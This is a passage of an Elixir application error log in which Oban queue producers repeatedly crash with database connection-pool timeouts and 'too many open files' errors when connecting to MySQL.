
  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:24:20.239440Z], limit: 3, uuid: "1f40d72a-d49e-4a3f-90db-1eb91fd04b6c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:20.239445Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36545>, refresh_timer: #Reference<0.2525715032.1068498948.57789>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:24:20.239431Z], limit: 20, uuid: "a02abffc-b802-41b1-857d-b24062142093", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:20.239438Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36542>, refresh_timer: #Reference<0.2525715032.1068498948.57803>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 865ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:24:20.240632Z], limit: 5, uuid: "347f1abb-4b71-45de-a52d-46e5bd2633fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:20.240637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36546>, refresh_timer: #Reference<0.2525715032.1099431938.57261>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:24:20.239674Z], limit: 5, uuid: "6e93d417-3189-4727-9c26-2c45767ecc1e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:20.239680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36544>, refresh_timer: #Reference<0.2525715032.1068498948.57790>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:35.077000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:36.937000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:38.471000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:42.384000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:43.873000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:44.350000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:44.814000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:24:32.241741Z], limit: 5, uuid: "12e8482b-8cb9-4211-b4ab-c35002e391ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:32.241747Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57903>, refresh_timer: #Reference<0.2525715032.1077673987.36826>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:24:32.240944Z], limit: 3, uuid: "8821247b-cbf1-4826-aca2-05ad92d719c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:32.240949Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57901>, refresh_timer: #Reference<0.2525715032.1068498948.57883>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:24:32.240635Z], limit: 20, uuid: "55eedf54-d111-4634-b877-ac6d1e30cf10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:32.240641Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57413>, refresh_timer: #Reference<0.2525715032.1099431938.57391>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:45.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:24:32.240316Z], limit: 10, uuid: "b777bb88-b67c-470f-899e-34a086e716ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:32.240322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.57414>, refresh_timer: #Reference<0.2525715032.1099431938.57392>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:45.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
